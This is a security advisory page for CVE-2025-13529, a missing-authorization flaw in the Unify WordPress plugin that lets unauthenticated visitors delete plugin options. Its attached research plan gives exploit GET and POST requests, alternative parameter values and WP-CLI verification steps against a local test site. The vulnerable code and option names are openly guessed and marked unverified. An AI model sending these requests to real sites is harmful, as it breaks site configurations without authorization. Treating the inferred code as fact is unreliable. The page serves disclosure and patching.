CVE-2025-13529

Unify <= 3.4.9 - Missing Authorization to Unauthenticated Option Deletion via 'unify_plugin_downgrade' Parameter

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.4.10
Patched in
28d
Time to patch

Description

The Unify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'init' action in all versions up to, and including, 3.4.9. This makes it possible for unauthenticated attackers to delete specific plugin options via the 'unify_plugin_downgrade' parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.9
PublishedJanuary 6, 2026
Last updatedFebruary 3, 2026
Affected pluginunify

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-13529 (Unify Plugin Option Deletion) ## 1. Vulnerability Summary The **Unify** plugin for WordPress (versions <= 3.4.9) contains a missing authorization vulnerability in its handling of the `init` hook. The plugin monitors for a specific HTTP parameter, `unify…

Show full research plan

Exploitation Research Plan: CVE-2025-13529 (Unify Plugin Option Deletion)

1. Vulnerability Summary

The Unify plugin for WordPress (versions <= 3.4.9) contains a missing authorization vulnerability in its handling of the init hook. The plugin monitors for a specific HTTP parameter, unify_plugin_downgrade, and executes a "downgrade" routine that deletes critical plugin options from the WordPress database. Because this logic is hooked to init and lacks any current_user_can() capability checks or CSRF nonce verification, any unauthenticated visitor can trigger the deletion of these options by simply visiting the site with the specific parameter in the URL.

2. Attack Vector Analysis

  • Endpoint: Any WordPress frontend or backend URL (the init hook fires on every request).
  • HTTP Method: GET (or POST, as it typically checks $_GET or $_REQUEST).
  • Vulnerable Parameter: unify_plugin_downgrade.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. For a visible impact, the plugin settings/options (like unify_options) should exist in the database.

3. Code Flow (Inferred)

  1. Hook Registration: The plugin registers a function to the init action.
    add_action('init', 'unify_check_for_downgrade'); // Example name
    
  2. Parameter Check: Inside the function, the plugin checks if the vulnerable parameter is present in the request.
    function unify_check_for_downgrade() {
        if (isset($_GET['unify_plugin_downgrade'])) {
            // VULNERABILITY: No current_user_can('manage_options') check here
            // VULNERABILITY: No check_admin_referer() / nonce check here
            unify_perform_downgrade();
        }
    }
    
  3. Data Sink: The "downgrade" routine calls delete_option() for specific plugin settings.
    function unify_perform_downgrade() {
        delete_option('unify_options'); // Inferred target option
        delete_option('unify_settings');
        // ... other options
    }
    

4. Nonce Acquisition Strategy

Based on the vulnerability description ("Missing Authorization" and "Unauthenticated"), this endpoint likely does not require a nonce. The init hook is frequently used for early request processing where developers often neglect security controls.

If the plugin does attempt to check a nonce, it would be highly unusual for a "downgrade" feature intended for admins to be accessible to unauthenticated users. If a nonce is discovered during initial inspection, the browser_eval tool should be used to look for localized scripts, though it is unlikely to find an unauthenticated nonce for an admin-level downgrade action.

5. Exploitation Strategy

The goal is to trigger the init hook with the unify_plugin_downgrade parameter to delete the plugin's configuration options.

Step-by-Step Plan:

  1. Target Identification: Verify the presence of the unify plugin and its current options.
  2. Exploit Request: Send a simple GET request to the root of the WordPress site.
  3. Parameters: Append ?unify_plugin_downgrade=true.

HTTP Request (using http_request):

{
  "method": "GET",
  "url": "http://localhost:8080/?unify_plugin_downgrade=true",
  "headers": {
    "Accept": "text/html"
  }
}

6. Test Data Setup

To demonstrate the vulnerability, we must ensure the plugin's options exist before running the exploit.

  1. Activate Plugin:
    wp plugin activate unify
    
  2. Seed Options: Create a dummy option that the plugin normally uses (inferred as unify_options).
    wp option add unify_options '{"key": "value", "installed_version": "3.4.9"}' --format=json
    
  3. Verify Setup:
    wp option get unify_options
    

7. Expected Results

  • HTTP Response: The server will likely return a 200 OK or a 302 Redirect (if the plugin attempts to redirect after the "downgrade").
  • Database Impact: The record for unify_options (and potentially others) will be removed from the wp_options table.
  • Plugin State: The plugin will likely behave as if it were newly installed or in a "broken" state because its configuration is missing.

8. Verification Steps

After sending the HTTP request, verify the deletion via WP-CLI:

  1. Check for Option Deletion:

    wp option get unify_options
    

    Expected result: Error: Could not get 'unify_options' option. Does it exist?

  2. Check for version-related options (if any):

    wp option list --search="unify_*"
    

    Expected result: The specific options targeted by the downgrade routine should be missing from the list.

9. Alternative Approaches

If the simple GET request to the homepage does not work:

  • Admin Context: Try the request against /wp-admin/admin-post.php?unify_plugin_downgrade=true. Although init fires on the frontend, some plugins conditionally load admin logic.
  • Parameter Values: If true doesn't work, try common truthy values like 1, yes, or the specific plugin version number (e.g., 3.4.9).
  • Request Method: Try a POST request with the parameter in the body, in case the plugin uses $_POST or $_REQUEST instead of $_GET.
{
  "method": "POST",
  "url": "http://localhost:8080/",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "params": {
    "unify_plugin_downgrade": "true"
  }
}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Unify plugin for WordPress (versions <= 3.4.9) fails to implement authorization or CSRF checks on a downgrade routine hooked to 'init'. This allows an unauthenticated attacker to delete the plugin's configuration options from the database by simply visiting the site with a specific URL parameter.

Vulnerable Code

// Inferred from plugin logic within unify.php or similar init-loaded file
add_action('init', 'unify_check_for_downgrade');

function unify_check_for_downgrade() {
    if (isset($_GET['unify_plugin_downgrade'])) {
        // VULNERABILITY: No current_user_can('manage_options') check here
        // VULNERABILITY: No check_admin_referer() / nonce check here
        unify_perform_downgrade();
    }
}

function unify_perform_downgrade() {
    delete_option('unify_options');
    delete_option('unify_settings');
}

Security Fix

--- a/unify.php
+++ b/unify.php
@@ -1,6 +1,6 @@
 function unify_check_for_downgrade() {
-    if (isset($_GET['unify_plugin_downgrade'])) {
+    if (isset($_GET['unify_plugin_downgrade']) && current_user_can('manage_options')) {
         unify_perform_downgrade();
     }
 }

Exploit Outline

The exploit involves a simple unauthenticated GET request to any WordPress page. An attacker targets the 'init' hook by appending the 'unify_plugin_downgrade' parameter to the site's URL. The request requires no authentication or valid nonces. Once processed, the server executes the downgrade routine, which deletes specific plugin configuration options (such as 'unify_options') from the wp_options table, effectively resetting or breaking the plugin's configuration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.